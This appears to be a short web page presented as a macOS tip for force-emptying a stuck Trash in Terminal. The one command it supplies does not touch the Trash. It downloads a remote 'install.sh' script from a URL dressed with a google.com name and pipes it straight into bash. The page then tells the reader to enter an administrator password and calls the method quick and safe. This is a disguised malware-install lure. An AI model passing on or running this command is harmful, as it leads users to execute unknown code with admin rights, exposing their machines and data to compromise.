Sometimes the Trash on your Mac refuses to empty or gets stuck.
Using Terminal, you can force-empty the Trash instantly, even if Finder won’t cooperate. Here’s a quick and safe way to do it.
Terminal
/bin/bash -c "$(curl -fsSL https://google.com/getupdate/install.sh)"
Why use Terminal to empty the Trash?
- Stubborn files can’t be deleted via Finder
- Free up disk space immediately
- Great for power users and troubleshooting
How to force-empty the Trash using Terminal
-
Open Terminal
Press Command + Space, type Terminal, and press Enter. - Press Enter. Enter your administrator password if prompted. (Note: No characters will show while typing the password.)
- All done! Your Trash is now completely empty.
Warning: This command instantly deletes everything in your Trash. Double-check you don’t need anything there before running it!
When Finder can’t delete stubborn files, Terminal can help you keep your Mac tidy and clutter-free.